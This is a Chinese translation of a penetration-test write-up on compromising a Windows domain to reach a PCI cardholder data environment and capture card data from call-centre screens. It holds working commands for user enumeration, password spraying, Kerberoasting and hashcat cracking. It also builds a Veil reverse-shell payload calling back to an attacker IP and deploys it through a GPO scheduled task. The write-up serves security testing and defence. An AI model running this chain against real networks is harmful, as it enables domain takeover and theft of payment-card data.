在这篇文章中我将详细介绍如何绕过防火墙,进入CDE(持卡人数据环境,代表存储、处理和传输支付卡敏感数据的计算机环境),最终提取信用卡数据。
一般来说,如果你要存储、传输或处理支付卡数据,那么就必须要确保支付卡数据在你的内部网络中保持高度安全,内部网络环境必须符合PCI数据安全标准(PCI-DSS)。当然,如果你的内部网络进行了分段,则不必让整个内部网络都符合PCI规范,只需让分段出的处理支付卡数据的环境符合PCI数据安全标准。而分段,即隔离出CDE,通常是利用防火墙来实现的。
以上就是有关此次渗透测试的一些背景,现在让我们正式开始吧。
注意,文中所有敏感信息都已修改,与真实数据相差甚远。目标公司拥有一个非常庞大的内部网络,所有IP都在10.0.0.0/8
范围内。而持卡人数据位于单独的192.168.0.0/16
范围内,与公司其他部门隔离。对CDE的操作主要由呼叫中心的操作员在接听客户电话后,在外部的Web应用中将资金细节输入表格再提交。
让我们从普通的内部环境开始,在10.0.0.0/8
的范围内连接到公司的内部办公网络,然后我们使用ping和端口扫描从当时网络位置扫描整个CDE,结果如下:
ping扫描与直接使用ping命令效果基本一样,只不过nmap可以一次扫描整个网段。而第二个命令结果中的hosts up
其实和nmap的参数-Pn
有关,nmap在此情况下不会ping操作,此时nmap会将扫描范围内的所有主机都报告为up
,真实情况可能完全相反。
因此,除非你有能绕过防火墙的手段,或者可以猜到管理防火墙的密码,否则直接扫描似乎不太可能。现在,我们要做的就是通过取得域管理员权限来控制活动目录。
成为域管理员
有很多方法可以做到这一点,比如我之前发表的这篇文章。
在这种情况下,我可以利用kerberoast(就是破解Kerberos服务票据并改写)来控制域。我需要在域中找一个未授权的攻击点,逐步深入。
攻击活动目录的第一步是控制尽可能多的用户帐户,只要它们能以某种方式和域控制器进行身份验证即可。在Windows世界中,所有帐户都应该能通过域控制器进行身份验证,即使它们没有权限执行任何操作也是如此。在Windows默认安全级别下,即使是权限最低的帐户在登录时也需要验证密码是否正确。
在客户的内网环境中,域控制器允许建立空会话(在未提供用户名与密码的情况下建立会话)。在这种情况下,我们又发现域控制器IP为10.0.12.100,“PETER”。这使得我们可以用enum4linux
等工具枚举用户,得到域中每个用户的用户名:
$ enum4linux -R 1000-50000 10.0.12.100 |tee enum4linux.txt
55.png
66.png
现在我们有了一个用户列表,我们可以将它转变成一个可阅读的格式:
$ cat enum4linux.txt | grep '(Local User)' |awk '$2 ~ /MACFARLANE\\/ {print $2}'| grep -vP '^.*?\$$' | sed 's/MACFARLANE\\//g'
77.png
在实际情况下,这个内部网络异常庞大,活跃用户超过25000人。
现在我们将用户名整理成文本文件,然后使用CrackMapExec等工具来猜测密码。在这里,我们将统一测试是否有用户使用Password1
作为他们的密码。不要小看这个密码,它可符合活动目录默认的密码复杂性要求,因为它包含四种字符类型中的三种(大写,小写和数字)。
$ cme smb 10.0.12.100 -u users.txt -p Password1
Wow,有一个成功:
88.png请注意,如果你想测试完所有帐户,需要指定参数--continue-on-success
:
现在我们已经控制了一个帐户,可以查询活动目录,获得服务帐户列表。服务帐户是一种代表服务的帐户,就像Microsoft SQL Server这样的服务。这些服务运行时,需要在以某种帐户身份存在于系统。活动目录的Kerberos身份验证系统可给其提供访问权限,此时活动目录需要提供“服务票据”以方便用户对其进行身份验证。Kerberos的身份验证不在本文的讨论范围之内,如果你想了解更多信息,可以点击这里。
通过从域控制器请求Kerberos服务帐户列表,我们还能得到每个帐户的“服务票据”。此服务票据是使用服务帐户的密码所加密。因此,如果我们可以破解它,就有很大概率得到高权限帐户。Impacket工具集可以帮助我们批量请求:
$ GetUserSPNs.py -outputfile SPNs.txt -request 'MACFARLANE.EXAMPLE.COM/chuck:Password1' -dc-ip 10.0.12.100
100.png
正如我们所看到的,其中一个服务帐户是Domain Admins的成员,这就是我们的目标。
$ hashcat -m 13100 --potfile-disable SPNs.txt /usr/share/wordlists/rockyou.txt -r /usr/share/rules/d3adhob0.rule
在运行hashcat进行密码破解后,我们得到了明文密码:
110.png为了二次确认,我再次使用了CrackMapExec
。
$ cme smb 10.0.12.100 -u redrum -p 'murder1!'
120.png
Wahoo,Pwn3d!现在我们已经是域控制器的管理员了。
得到支付卡数据
现在,我们的目标是CDE中接受呼叫中心指令的计算机,它们都位于同一个活动目录中,虽然我们无法直接连接到那些敏感的机器,但我们现在可以告诉域控制器让它们来连接我们。为此,需要深入了解组策略对象(GPO)。GPO允许将各种范围级别的设置应用于用户和计算机。为了防止保护客户隐私,你只需要知道它可以以不同范围级别控制域中的计算机。
客户GPO的许多功能都是用于统一管理组织中的IT设置。例如,统一设置密码策略或者统一设置为用户桌面显示哪些图标(例如,打开公司网站的快捷方式)。而有一个GPO可以运行微软中的“计划任务”。这正是我们所需要的...我创建一个需要目标机器运行的脚本,让它们连接回我们的机器。以下是具体步骤:
1.生成payload。这里我们使用了Veil Evasion
。我们的IP地址是10.0.12.1,因此我们设置回连到这个地址。
$ veil -t EVASION -p 22 --ip 10.0.12.1 --port 8755 -o pci_shell
130.png
2.使用我们从kerberoasting获得的凭据,通过远程桌面协议(RDP)登录到域控制器。
140.png3.在活动目录中找到CDE。根据我们对客户组织的了解,我们知道呼叫中心在2楼工作。通过浏览目录,我们定位到一个特殊的名字:
150.png4.将我们用Veil
制作的恶意脚本放入文件夹,然后在域控制器上进行共享。在共享和目录上设置权限,允许所有域用户读取。
5.在GPO中,我们在如下图创建策略:
170.png6.在编辑这个新的GPO时,查找“计划任务”选项,并创建新的“即时计划任务”:
180.png7.创建指向共享中恶意脚本的任务。同时在common
下设置Run in logged-on user's security context
。
Done!
在我等了15分钟后,什么也没发生。我知道组策略的生效可能需要90分钟或者更久,但我觉得至少有一台机器现在已经应用了新策略(注意,如果在实验室中测试,你可以使用gpupdate/force
)。然后我又等了五分钟,看到了如下情况:
运行命令截取屏幕截图,确切地返回了呼叫中心当时输入的内容...支付卡数据!
200.png渗透目标已全部完成!
如果我们查看会话列表,我们可以看这个会话的IP来自192.168.0.0/16
:
在实际测试中,整个二楼的机器基本都返回了shell,我最后得到了60-100个Meterpreter。
在实际的测试中,有一个专门截图的脚本(我们使用metasploit的autorunscript
来实现),这样我们就可以深入其他方面。
还有其他获取截图的命令,例如在Meterpreter中使用use espia
以及metasploit的post/windows/gather/screen_spy
。
还有一些以编程的方式执行GPO的方法,例如PowerView中的New-GPOImmediateTask
。
而从防御的角度来说,可以实施很多安全措施,例如把CDE设置一个单独的活动目录,鼓励用户设置强密码并确保任何服务帐户都是疯狂的长密码(20多个字符,完全随机)。还可以检测是否有任何用户一次性去请求所有服务的票据,也可以使用蜜罐进行防御。
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/2523.html
来源:https://markitzeroday.com/pci/active-directory/kerberoast/firewall/2019/04/24/gaining-access-to-card-data-using-the-windows-domain-to-bypass-firewalls.html
网友评论